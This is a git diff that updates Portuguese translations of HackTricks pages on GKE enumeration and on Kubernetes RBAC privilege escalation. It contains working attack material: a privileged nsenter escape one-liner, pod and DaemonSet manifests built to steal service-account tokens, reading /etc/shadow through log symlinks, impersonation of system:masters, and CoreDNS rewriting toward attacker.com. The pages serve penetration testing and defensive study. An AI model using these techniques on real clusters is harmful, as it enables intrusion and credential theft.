diff --git a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md index a8451bed1..59a321f18 100644 --- a/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md +++ b/src/pentesting-cloud/gcp-security/gcp-services/gcp-containers-gke-and-composer-enum.md @@ -1,10 +1,10 @@ -# GCP - Enum de Contêineres & GKE +# GCP - Containers & GKE Enum {{#include ../../../banners/hacktricks-training.md}} -## Contêineres +## Containers -Nos contêineres do GCP, você pode encontrar a maioria dos serviços baseados em contêineres que o GCP oferece, aqui você pode ver como enumerar os mais comuns: +Em containers do GCP, você pode encontrar a maioria dos serviços baseados em containers que o GCP oferece; aqui você pode ver como enumerar os mais comuns: ```bash gcloud container images list gcloud container images list --repository us.gcr.io/ #Search in other subdomains repositories @@ -24,7 +24,7 @@ sudo docker pull HOSTNAME// ``` ### Privesc -Na página a seguir, você pode verificar como **abusar das permissões de contêiner para escalar privilégios**: +Na página a seguir você pode verificar como **abusar das permissões do container para escalar privilégios**: {{#ref}} ../gcp-privilege-escalation/gcp-container-privesc.md @@ -32,7 +32,7 @@ Na página a seguir, você pode verificar como **abusar das permissões de cont ## Node Pools -Esses são os pools de máquinas (nós) que formam os clusters do kubernetes. +Estes são o pool de máquinas (nodes) que formam os clusters kubernetes. ```bash # Pool of machines used by the cluster gcloud container node-pools list --zone --cluster @@ -40,53 +40,69 @@ gcloud container node-pools describe --cluster --zone --region \ +--format='value(workloadIdentityConfig.workloadPool)' -A técnica utilizada é explicada nas seguintes postagens: +kubectl get serviceaccounts -A -o yaml | grep -n 'iam.gke.io' -B 5 -A 8 +kubectl get pods -A -o custom-columns='NS:.metadata.namespace,NAME:.metadata.name,SA:.spec.serviceAccountName,NODE:.spec.nodeName' +``` +Se uma service account tiver a anotação `iam.gke.io/gcp-service-account`, revise a policy da service account do IAM para concessões de `roles/iam.workloadIdentityUser` a principais de Kubernetes service account. Também verifique as IAM allow policies para direct workload identity principals ou broad principal sets. + +O acesso aos metadata depende do modo do cluster, da configuração do node pool e das definições do workload. Não assuma que todo pod pode roubar a node service account. Em ambientes com Workload Identity habilitado, pods normais devem usar o GKE metadata server para obter a workload identity destinada à sua Kubernetes service account. Comprometimento do node, pods `hostNetwork` em algumas configurações Standard e exposição legada de metadata do node ainda podem alterar o blast radius, então verifique o modo real de metadata do node pool, a node service account, os OAuth scopes e o posicionamento do pod. + +### TLS Boostrap Privilege Escalation + +Inicialmente, esta técnica de privilege escalation permitia **privesc dentro do GKE cluster**, permitindo efetivamente que um atacante **o comprometesse totalmente**. + +Isso ocorre porque o GKE fornece [TLS Bootstrap credentials](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/) nos metadata, que são **acessíveis por qualquer pessoa apenas comprometendo um pod**. + +A técnica usada é explicada nos seguintes posts: - [https://www.4armed.com/blog/hacking-kubelet-on-gke/](https://www.4armed.com/blog/hacking-kubelet-on-gke/) - [https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/](https://www.4armed.com/blog/kubeletmein-kubelet-hacking-tool/) - [https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) -E essa ferramenta foi criada para automatizar o processo: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) +E esta tool foi criada para automatizar o processo: [https://github.com/4ARMED/kubeletmein](https://github.com/4ARMED/kubeletmein) -No entanto, a técnica abusou do fato de que **com as credenciais de metadados** era possível **gerar um CSR** (Certificate Signing Request) para um **novo nó**, que era **automaticamente aprovado**.\ -Nos meus testes, verifiquei que **esses pedidos não são mais automaticamente aprovados**, então não tenho certeza se essa técnica ainda é válida. +No entanto, a técnica abusava do fato de que **com as metadata credentials** era possível **gerar um CSR** (Certificate Signing Request) para um **novo node**, que era **automaticamente aprovado**.\ +No meu teste, verifiquei que **esses requests não são mais aprovados automaticamente**, então não tenho certeza se essa técnica ainda é válida. -### Segredos na API do Kubelet +### Secrets in Kubelet API -Em [**esta postagem**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) foi descoberto um endereço da API do Kubelet acessível de dentro de um pod no GKE, fornecendo os detalhes dos pods em execução: +Em [**este post**](https://blog.assetnote.io/2022/05/06/cloudflare-pages-pt3/) foi descoberto foi descoberto um endereço da Kubelet API acessível de dentro de um pod no GKE, fornecendo os detalhes dos pods em execução: ``` curl -v -k http://10.124.200.1:10255/pods ``` -Mesmo que a API **não permita modificar recursos**, pode ser possível encontrar **informações sensíveis** na resposta. O endpoint /pods foi encontrado usando [**Kiterunner**](https://github.com/assetnote/kiterunner). +Mesmo que a API **não permita modificar resources**, ainda pode ser possível encontrar **sensitive information** na resposta. O endpoint /pods foi encontrado usando [**Kiterunner**](https://github.com/assetnote/kiterunner). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md index ef988de3f..cc9852bee 100644 --- a/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md +++ b/src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md @@ -1,23 +1,23 @@ -# Abusando de Roles/ClusterRoles em Kubernetes +# Abusing Roles/ClusterRoles in Kubernetes {{#include ../../../banners/hacktricks-training.md}} Aqui você pode encontrar algumas configurações potencialmente perigosas de Roles e ClusterRoles.\ -Lembre-se que você pode obter todos os recursos suportados com `kubectl api-resources` +Lembre-se de que você pode obter todos os resources suportados com `kubectl api-resources` ## **Privilege Escalation** -Referindo-se à arte de obter **acesso a um principal diferente** dentro do cluster **com privilégios diferentes** (dentro do cluster Kubernetes ou para nuvens externas) do que aqueles que você já possui, em Kubernetes existem basicamente **4 técnicas principais para escalar privilégios**: +Referindo-se à arte de obter **access to a different principal** dentro do cluster **with different privileges** (dentro do kubernetes cluster ou para external clouds) do que aqueles que você já tem, em Kubernetes existem basicamente **4 main techniques to escalate privileges**: -- Ser capaz de **impersonate** outros usuários/grupos/SAs com privilégios melhores dentro do cluster Kubernetes ou para nuvens externas -- Ser capaz de **create/patch/exec pods** onde você pode **find or attach SAs** com privilégios melhores dentro do cluster Kubernetes ou para nuvens externas -- Ser capaz de **read secrets**, já que os tokens das SAs são armazenados como secrets -- Ser capaz de **escape to the node** a partir de um container, onde você pode roubar todos os secrets dos containers rodando no node, as credenciais do node, e as permissões do node dentro da nuvem em que está executando (se houver) -- Uma quinta técnica que merece menção é a habilidade de **run port-forward** em um pod, pois você pode conseguir acessar recursos interessantes dentro desse pod. +- Ser capaz de **impersonate** outros user/groups/SAs com privilégios melhores dentro do kubernetes cluster ou para external clouds +- Ser capaz de **create/patch/exec pods** onde você pode **find or attach SAs** com privilégios melhores dentro do kubernetes cluster ou para external clouds +- Ser capaz de **read secrets** já que os tokens das SAs são armazenados como secrets +- Ser capaz de **escape to the node** a partir de um container, onde você pode roubar todos os secrets dos containers rodando no node, as credentials do node, e as permissões do node dentro da cloud em que ele está rodando (se houver) +- Uma quinta técnica que merece destaque é a capacidade de **run port-forward** em um pod, pois você pode conseguir acessar resources interessantes dentro desse pod. ### Access Any Resource or Verb (Wildcard) -The **wildcard (\*) gives permission over any resource with any verb**. It's used by admins. Inside a ClusterRole this means that an attacker could abuse anynamespace in the cluster +O **wildcard (\*) dá permissão sobre qualquer resource com qualquer verb**. É usado por admins. Dentro de um ClusterRole isso significa que um attacker poderia abusar de qualquer namespace no cluster ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -29,12 +29,12 @@ rules: resources: ["*"] verbs: ["*"] ``` -### Acessar qualquer recurso com um verbo específico +### Acessar Qualquer Recurso com um verbo específico -No RBAC, certas permissões apresentam riscos significativos: +Em RBAC, certas permissões representam riscos significativos: -1. **`create`:** Concede a habilidade de criar qualquer recurso do cluster, colocando em risco privilege escalation. -2. **`list`:** Permite listar todos os recursos, potencialmente leaking sensitive data. +1. **`create`:** Concede a capacidade de criar qualquer recurso do cluster, arriscando privilege escalation. +2. **`list`:** Permite listar todos os recursos, potencialmente vazando dados sensíveis. 3. **`get`:** Permite acessar secrets de service accounts, representando uma ameaça à segurança. ```yaml apiVersion: rbac.authorization.k8s.io/v1 @@ -49,9 +49,9 @@ verbs: ["create", "list", "get"] ``` ### Pod Create - Steal Token -Um atacante com permissões para criar um pod pode anexar uma Service Account privilegiada ao pod e roubar o token para se passar pela Service Account, escalando efetivamente privilégios para ela +Um atacker com as permissões para criar um pod poderia anexar um privileged Service Account ao pod e roubar o token para impersonar o Service Account. Efetivamente escalando privilégios para ele -Exemplo de um pod que irá roubar o token da Service Account `bootstrap-signer` e enviá-lo ao atacante: +Exemplo de um pod que irá roubar o token do service account `bootstrap-signer` e enviá-lo ao atacante: ```yaml apiVersion: v1 kind: Pod @@ -72,12 +72,14 @@ serviceAccountName: bootstrap-signer automountServiceAccountToken: true hostNetwork: true ``` -### Pod Create & Escape +### Criação e Escape de Pod -- **Acesso privilegiado** (desabilitando proteções e definindo capabilities) -- **Desabilitar namespaces hostIPC e hostPid** que podem ajudar a escalar privilégios -- **Desabilitar o namespace hostNetwork**, dando acesso para roubar privilégios em cloud dos nodes e melhor acesso às redes -- **Montar o / do host dentro do container** +O seguinte indica todos os privilégios que um container pode ter: + +- **Acesso privilegiado** (desativando proteções e definindo capabilities) +- **Desativar namespaces hostIPC e hostPid** que podem ajudar a escalar privilégios +- **Desativar namespace hostNetwork**, dando acesso para roubar privilégios cloud dos nodes e melhor acesso às redes +- **Montar hosts / dentro do container** ```yaml:super_privs.yaml apiVersion: v1 kind: Pod @@ -117,15 +119,15 @@ Crie o pod com: ```bash kubectl --token $token create -f mount_root.yaml ``` -One-liner de [this tweet](https://twitter.com/mauilion/status/1129468485480751104) e com algumas adições: +One-liner do [este tweet](https://twitter.com/mauilion/status/1129468485480751104) e com algumas adições: ```bash kubectl run r00t --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}]}}' ``` -Agora que você pode escapar para o node, confira post-exploitation techniques em: +Agora que você pode escapar para o node, confira técnicas de post-exploitation em: #### Stealth -Você provavelmente quer ser **stealthier**; nas páginas a seguir você pode ver o que seria capaz de acessar se criar um pod habilitando apenas alguns dos privilégios mencionados no template anterior: +Você provavelmente vai querer ser **mais stealthy**; nas páginas a seguir você pode ver a que você conseguiria acessar se criar um pod habilitando apenas alguns dos privilégios mencionados no template anterior: - **Privileged + hostPID** - **Privileged only** @@ -134,14 +136,14 @@ Você provavelmente quer ser **stealthier**; nas páginas a seguir você pode ve - **hostNetwork** - **hostIPC** -_Você pode encontrar exemplos de como criar/abusar as configurações de pods privilegiados anteriores em_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) +_Você pode encontrar exemplos de como criar/abusar as configurações de privileged pods anteriores em_ [_https://github.com/BishopFox/badPods_](https://github.com/BishopFox/badPods) ### Pod Create - Move to cloud -Se você puder **criar** um **pod** (e opcionalmente uma **service account**) pode ser capaz de **obter privilégios in cloud environment** atribuindo **cloud roles** a um pod ou a uma service account e então acessá-lo.\ -Além disso, se você puder criar um **pod com o host network namespace** você pode **steal the IAM** role da instância **node**. +Se você puder **criar** um **pod** (e opcionalmente uma **service account**), talvez consiga **obter privilégios no ambiente cloud** ao **atribuir cloud roles a um pod ou a uma service account** e então acessá-lo.\ +Além disso, se você puder criar um **pod com o host network namespace**, você pode **roubar a IAM role** da instância do **node**. -Para mais informações veja: +Para mais informações, confira: {{#ref}} pod-escape-privileges.md @@ -151,7 +153,7 @@ pod-escape-privileges.md É possível abusar dessas permissões para **criar um novo pod** e escalar privilégios como no exemplo anterior. -O yaml a seguir **creates a daemonset and exfiltrates the token of the SA** inside the pod: +O seguinte yaml **cria um daemonset e exfiltra o token da SA** dentro do pod: ```yaml apiVersion: apps/v1 kind: DaemonSet @@ -189,32 +191,32 @@ path: / ``` ### **Pods Exec** -**`pods/exec`** é um recurso no kubernetes usado para **executar comandos em um shell dentro de um pod**. Isso permite **executar comandos dentro dos containers ou obter um shell dentro**. +**`pods/exec`** é um recurso em kubernetes usado para **executar comandos em um shell dentro de um pod**. Isso permite **executar comandos dentro dos containers ou obter um shell dentro**. Portanto, é possível **entrar em um pod e roubar o token do SA**, ou entrar em um pod privilegiado, escapar para o node, e roubar todos os tokens dos pods no node e (ab)usar o node: ```bash kubectl exec -it -n -- sh ``` > [!NOTE] -> Por padrão o comando é executado no primeiro container do pod. Obtenha **todos os containers em um pod** com `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` e então **indique o container** onde quer executá-lo com `kubectl exec -it -c -- sh` +> Por padrão, o comando é executado no primeiro container do pod. Obtenha **todos os pods em um container** com `kubectl get pods -o jsonpath='{.spec.containers[*].name}'` e depois **indique o container** onde você quer executá-lo com `kubectl exec -it -c -- sh` -Se for um container distroless você pode tentar usar **shell builtins** para obter info dos containers ou enviar suas próprias ferramentas como um **busybox** usando: **`kubectl cp :`**. +Se for um container distroless, você pode tentar usar **shell builtins** para obter informações dos containers ou carregar suas próprias ferramentas, como um **busybox**, usando: **`kubectl cp :`**. ### port-forward -Essa permissão permite **encaminhar uma porta local para uma porta no pod especificado**. Isso serve para depurar aplicações rodando dentro de um pod facilmente, mas um atacante pode abusar dela para acessar aplicações interessantes (como DBs) ou vulneráveis (webs?) dentro de um pod: +Essa permissão permite **encaminhar uma porta local para uma porta no pod especificado**. Isso foi criado para possibilitar depurar facilmente aplicações em execução dentro de um pod, mas um attacker pode abusar disso para obter acesso a aplicações interessantes (como DBs) ou vulneráveis (webs?) dentro de um pod: ```bash kubectl port-forward pod/mypod 5000:5000 ``` ### Hosts Writable /var/log/ Escape -Como [**indicado nesta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se você conseguir acessar ou criar um pod com o **hosts `/var/log/` directory mounted** nele, você pode **escape from the container**.\ -Isso acontece basicamente porque, quando a **Kube-API tenta obter os logs** de um container (usando `kubectl logs `), ela **requests the `0.log`** file of the pod usando o endpoint `/logs/` do serviço **Kubelet**.\ -O serviço Kubelet expõe o endpoint `/logs/` que basicamente está **expondo o filesystem `/var/log` do container**. +Como [**indicado nesta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), se você conseguir acessar ou criar um pod com o diretório **hosts `/var/log/` montado** nele, você pode **escapar do container**.\ +Isso basicamente acontece porque, quando a **Kube-API tenta obter os logs** de um container (usando `kubectl logs `), ela **solicita o arquivo `0.log`** do pod usando o endpoint `/logs/` do serviço **Kubelet**.\ +O serviço Kubelet expõe o endpoint `/logs/`, que basicamente **expõe o filesystem `/var/log` do container**. -Portanto, um atacante com **acesso de escrita na pasta /var/log/** do container poderia abusar desse comportamento de 2 maneiras: +Portanto, um atacante com **acesso para escrever na pasta /var/log/** do container poderia abusar desse comportamento de 2 formas: -- Modificar o arquivo `0.log` do seu container (normalmente localizado em `/var/logs/pods/namespace_pod_uid/container/0.log`) para ser um **symlink apontando para `/etc/shadow`**, por exemplo. Assim, você poderá exfiltrar o arquivo shadow do host fazendo: +- Modificando o arquivo `0.log` do seu container (normalmente localizado em `/var/logs/pods/namespace_pod_uid/container/0.log`) para ser um **symlink apontando para `/etc/shadow`**, por exemplo. Então, você poderá exfiltrar o shadow file do hosts fazendo: ```bash kubectl logs escaper failed to get parse function: unsupported log format: "root::::::::\n" @@ -222,7 +224,7 @@ kubectl logs escaper --tail=2 failed to get parse function: unsupported log format: "systemd-resolve:*:::::::\n" # Keep incrementing tail to exfiltrate the whole file ``` -- Se o atacante controla qualquer principal com as **permissões para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e ao **acessar `https://:10250/logs/sym/` ele listará o sistema de arquivos raiz do host** (alterar o symlink pode fornecer acesso a arquivos). +- Se o atacante controla qualquer principal com as **permissions para ler `nodes/log`**, ele pode simplesmente criar um **symlink** em `/host-mounted/var/log/sym` para `/` e, ao **acessar `https://:10250/logs/sym/` ele listará** o filesystem root do host (alterar o symlink pode fornecer acesso a arquivos). ```bash curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https://172.17.0.1:10250/logs/sym/' bin @@ -234,23 +236,23 @@ curl -k -H 'Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6Im[...]' 'https:// lib [...] ``` -**Um laboratório e um exploit automatizado podem ser encontrados em** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) +**Um laboratório e exploit automatizado podem ser encontrados em** [**https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts**](https://blog.aquasec.com/kubernetes-security-pod-escape-log-mounts) #### Bypassing readOnly protection -Se você tiver sorte e a capability altamente privilegiada `CAP_SYS_ADMIN` estiver disponível, você pode simplesmente remontar o diretório como rw: +Se você tiver sorte e a capability altamente privilegiada `CAP_SYS_ADMIN` estiver disponível, você pode simplesmente remontar a pasta como rw: ```bash mount -o rw,remount /hostlogs/ ``` -#### Contornando a proteção readOnly do hostPath +#### Bypassando a proteção readOnly de hostPath -Como descrito em [**this research**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html) é possível contornar a proteção: +Como indicado em [**esta pesquisa**](https://jackleadford.github.io/containers/2020/03/06/pvpost.html), é possível contornar a proteção: ```yaml allowedHostPaths: - pathPrefix: "/foo" readOnly: true ``` -Isso foi pensado para evitar escapes como os anteriores ao, em vez de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta hosts no container com acesso de escrita: +O que tinha como objetivo evitar escapes como os anteriores ao, em vez de usar um hostPath mount, usar um PersistentVolume e um PersistentVolumeClaim para montar uma pasta do host no container com acesso de escrita: ```yaml apiVersion: v1 kind: PersistentVolume @@ -296,16 +298,16 @@ volumeMounts: - mountPath: "/hostlogs" name: task-pv-storage-vol ``` -### **Personificando contas privilegiadas** +### **Impersonando contas privilegiadas** -Com o privilégio de [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia se passar por uma conta privilegiada. +Com um privilégio de [**user impersonation**](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation), um atacante poderia impersonar uma conta privilegiada. -Basta usar o parâmetro `--as=` no comando `kubectl` para se passar por um usuário, ou `--as-group=` para se passar por um grupo: +Basta usar o parâmetro `--as=` no comando `kubectl` para impersonar um usuário, ou `--as-group=` para impersonar um grupo: ```bash kubectl get pods --as=system:serviceaccount:kube-system:default kubectl get secrets --as=null --as-group=system:masters ``` -Ou use a REST API: +Ou use a API REST: ```bash curl -k -v -XGET -H "Authorization: Bearer " \ -H "Impersonate-Group: system:masters"\ @@ -313,16 +315,17 @@ curl -k -v -XGET -H "Authorization: Bearer " \ -H "Accept: application/json" \ https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Listando secrets +### Listando Secrets -A permissão para **list secrets** pode permitir que um atacante realmente leia os secrets acessando o REST API endpoint: +A permissão para **listar secrets poderia permitir que um atacante realmente lesse os secrets** acessando o endpoint da REST API: ```bash curl -v -H "Authorization: Bearer " https://:/api/v1/namespaces/kube-system/secrets/ ``` -### Criando e Lendo Secrets +### Creating and Reading Secrets -Existe um tipo especial de secret do Kubernetes do tipo **kubernetes.io/service-account-token** que armazena tokens de serviceaccount. -Se você tem permissões para criar e ler secrets, e também conhece o nome do serviceaccount, você pode criar um secret da seguinte forma e então roubar o token do serviceaccount da vítima a partir dele: +Existe um tipo especial de Kubernetes Secret do tipo **kubernetes.io/service-account-token** que armazena tokens de service account. Versões modernas do Kubernetes **não** criam automaticamente um Secret de longa duração para cada ServiceAccount; projected, bound TokenRequest tokens são o caminho normal para workloads. No entanto, Secrets de token de service account criados manualmente ainda são suportados, e clusters atualizados ou legados ainda podem conter long-lived token Secrets. Clusters atuais também podem marcar Secrets de token legados auto-gerados não usados como inválidos e eventualmente limpá-los, deixando labels como `kubernetes.io/legacy-token-invalid-since` e `kubernetes.io/legacy-token-last-used`. + +Se você tiver permissões para criar e ler secrets, e também souber o nome da serviceaccount, você pode criar um secret da seguinte forma e então steal o token da serviceaccount da vítima a partir dele: ```yaml apiVersion: v1 kind: Secret @@ -333,7 +336,7 @@ annotations: kubernetes.io/service-account.name: cluster-admin-sa type: kubernetes.io/service-account-token ``` -Exemplo de exploração: +Exemplo de exploitation: ```bash $ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa) @@ -381,17 +384,18 @@ $ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o jso "type": "kubernetes.io/service-account-token" } ``` -Note que, se você tem permissão para criar e ler secrets em um determinado namespace, a serviceaccount vítima também deve estar nesse mesmo namespace. +Note que, se você tiver permissão para criar e ler secrets em um determinado namespace, o victim serviceaccount também precisa estar nesse mesmo namespace. -### Lendo um secret – brute-forcing token IDs -Embora um atacante em posse de um token com permissões de leitura precise do nome exato do secret para usá-lo, ao contrário da permissão mais ampla _**listing secrets**_, ainda existem vulnerabilidades. Os service accounts padrão no sistema podem ser enumerados, cada um associado a um secret. Esses secrets têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres), de acordo com o [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). +### Reading a secret – brute-forcing token IDs -O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14,348,907 (27^5). Consequentemente, um atacante poderia feasibly executar um ataque brute-force para deduzir o token em questão de horas, potencialmente levando a uma elevação de privilégios ao acessar service accounts sensíveis. +Embora um attacker que possua um token com permissões de leitura precise do nome exato do secret para usá-lo, diferentemente do privilégio mais amplo de _**listing secrets**_, ainda existem vulnerabilities. Default service accounts no sistema podem ser enumeradas, cada uma associada a um secret. Esses secrets têm uma estrutura de nome: um prefixo estático seguido por um token alfanumérico aleatório de cinco caracteres (excluindo certos caracteres), de acordo com o [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83). -### EncrpytionConfiguration em texto claro +O token é gerado a partir de um conjunto limitado de 27 caracteres (`bcdfghjklmnpqrstvwxz2456789`), em vez do intervalo alfanumérico completo. Essa limitação reduz o total de combinações possíveis para 14,348,907 (27^5). Consequentemente, um attacker poderia executar de forma viável um brute-force attack para deduzir o token em questão de horas, potencialmente levando a privilege escalation ao acessar service accounts sensíveis. -É possível encontrar chaves em texto claro para criptografar dados at rest nesse tipo de objeto, como: +### EncrpytionConfiguration in clear text + +É possível encontrar chaves em clear text para encrypt data at rest nesse tipo de objeto como: ```yaml # From https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ @@ -448,13 +452,13 @@ keys: - name: key3 secret: c2VjcmV0IGlzIHNlY3VyZSwgSSB0aGluaw== ``` -### Solicitações de Assinatura de Certificado +### Certificate Signing Requests -Se você tiver o verbo **`create`** no recurso `certificatesigningrequests` (ou pelo menos em `certificatesigningrequests/nodeClient`), você pode **criar** um novo CeSR de um **novo nó.** +Se você tiver os verbs **`create`** no resource `certificatesigningrequests` ( ou pelo menos em `certificatesigningrequests/nodeClient`). Você pode **create** uma nova CeSR de um **novo node.** -De acordo com a [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então nesse caso você **não precisa de permissões extras**. Caso contrário, você precisaria ser capaz de aprovar a solicitação, o que significa update em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `/` ou `/*` +According to the [documentation it's possible to auto approve this requests](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet-tls-bootstrapping/), então nesse caso você **don't need extra permissions**. Se não, você precisaria ser capaz de approve the request, o que significa update em `certificatesigningrequests/approval` e `approve` em `signers` com resourceName `/` or `/*` -Um **exemplo de role** com todas as permissões necessárias é: +Um **example of a role** com todas as permissões necessárias é: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole @@ -487,17 +491,17 @@ verbs: ``` Então, com o novo node CSR aprovado, você pode **abuse** as permissões especiais dos nodes para **steal secrets** e **escalate privileges**. -In [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) and [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) a configuração GKE K8s TLS Bootstrap está configurada com **automatic signing** e é abusada para gerar credentials de um novo K8s Node e então abusar desses para escalate privileges by stealing secrets.\ -Se você **have the mentioned privileges you could do the same thing**. Observe que o primeiro exemplo contorna o erro que impede um novo node de acessar secrets dentro dos containers porque um **node can only access the secrets of containers mounted on it.** +Em [**this post**](https://www.4armed.com/blog/hacking-kubelet-on-gke/) e [**this one**](https://rhinosecuritylabs.com/cloud-security/kubelet-tls-bootstrap-privilege-escalation/) a configuração GKE K8s TLS Bootstrap está configurada com **automatic signing** e ela é abused para gerar credenciais de um novo K8s Node e então abuse dessas para escalate privileges roubando secrets.\ +Se você **tiver os privilégios mencionados, você poderia fazer a mesma coisa**. Observe que o primeiro exemplo contorna o erro que impede um novo node de acessar secrets dentro de containers porque um **node só pode acessar os secrets dos containers montados nele.** -A forma de contornar isso é simplesmente **create a node credentials for the node name where the container with the interesting secrets is mounted** (but just check how to do it in the first post): +A forma de contornar isso é simplesmente **create a node credentials for the node name where the container with the interesting secrets is mounted** (mas apenas veja como fazer isso no primeiro post): ```bash "/O=system:nodes/CN=system:node:gke-cluster19-default-pool-6c73b1-8cj1" ``` ### AWS EKS aws-auth configmaps -Principals que podem modificar **`configmaps`** no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de administrador do cluster sobrescrevendo o configmap **aws-auth**.\ -Os verbos necessários são **`update`** e **`patch`**, ou **`create`** se o configmap não tiver sido criado: +Principals que podem modificar **`configmaps`** no namespace kube-system em clusters EKS (precisam estar na AWS) podem obter privilégios de cluster admin sobrescrevendo o configmap **aws-auth**.\ +Os verbs necessários são **`update`** e **`patch`**, ou **`create`** se o configmap não tiver sido criado: ```bash # Check if config map exists get configmap aws-auth -n kube-system -o yaml @@ -537,18 +541,18 @@ groups: - system:masters ``` > [!WARNING] -> Você pode usar **`aws-auth`** para **persistência**, dando acesso a usuários de **outras contas**. +> Você pode usar **`aws-auth`** para **persistence** dando acesso a usuários de **outros accounts**. > -> Porém, `aws --profile other_account eks update-kubeconfig --name ` **não funciona a partir de outra conta**. Mas na verdade `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona se você colocar o ARN do cluster em vez do nome.\ -> Para fazer o `kubectl` funcionar, basta certificar-se de **configurar** o **kubeconfig da vítima** e nos argumentos do aws exec adicionar `--profile other_account_role` para que o kubectl use o profile da outra conta para obter o token e contatar a AWS. +> No entanto, `aws --profile other_account eks update-kubeconfig --name ` **não funciona a partir de um account diferente**. Mas, na verdade, `aws --profile other_account eks get-token --cluster-name arn:aws:eks:us-east-1:123456789098:cluster/Testing` funciona se você colocar o ARN do cluster em vez de apenas o nome.\ +> Para fazer `kubectl` funcionar, basta garantir que você **configure** o **kubeconfig da vítima** e, nos aws exec args, adicione `--profile other_account_role` para que o kubectl use o profile do outro account para obter o token e contatar a AWS. -### ConfigMap do CoreDNS +### CoreDNS config map -Se você tem permissões para modificar o **`coredns` configmap** no namespace `kube-system`, você pode alterar os endereços para os quais domínios serão resolvidos, de modo a possibilitar ataques MitM para **roubar informações sensíveis ou injetar conteúdo malicioso**. +Se você tiver permissões para modificar o **`coredns` configmap** no namespace `kube-system`, você pode modificar para quais endereços os domínios serão resolvidos, a fim de realizar ataques MitM para **roubar informações sensíveis ou injetar conteúdo malicioso**. -Os verbos necessários são **`update`** e **`patch`** no **`coredns`** configmap (ou em todos os config maps). +Os verbs necessários são **`update`** e **`patch`** sobre o configmap **`coredns`** (ou todos os config maps). -Um **arquivo do CoreDNS** comum contém algo como isto: +Um **coredns file** comum contém algo assim: ```yaml data: Corefile: | @@ -578,48 +582,48 @@ reload loadbalance } ``` -Um atacante poderia baixá-lo executando `kubectl get configmap coredns -n kube-system -o yaml`, modificá-lo adicionando algo como `rewrite name victim.com attacker.com` para que sempre que `victim.com` for acessado, na verdade `attacker.com` seja o domínio acessado. E então aplicá-lo executando `kubectl apply -f poison_dns.yaml`. +Um atacante poderia baixá-lo executando `kubectl get configmap coredns -n kube-system -o yaml`, modificá-lo adicionando algo como `rewrite name victim.com attacker.com` para que, sempre que `victim.com` for acessado, na prática `attacker.com` seja o domínio que vai ser acessado. Depois, aplicá-lo executando `kubectl apply -f poison_dns.yaml`. Outra opção é simplesmente editar o arquivo executando `kubectl edit configmap coredns -n kube-system` e fazer as alterações. ### Escalating in GKE -Existem **2 maneiras de atribuir permissões K8s a principals do GCP**. Em qualquer caso, o principal também precisa da permissão **`container.clusters.get`** para conseguir coletar credenciais para acessar o cluster, ou você precisará **gerar seu próprio arquivo de configuração do kubectl** (siga o link a seguir). +Existem **2 maneiras de atribuir permissões K8s a GCP principals**. Em qualquer caso, o 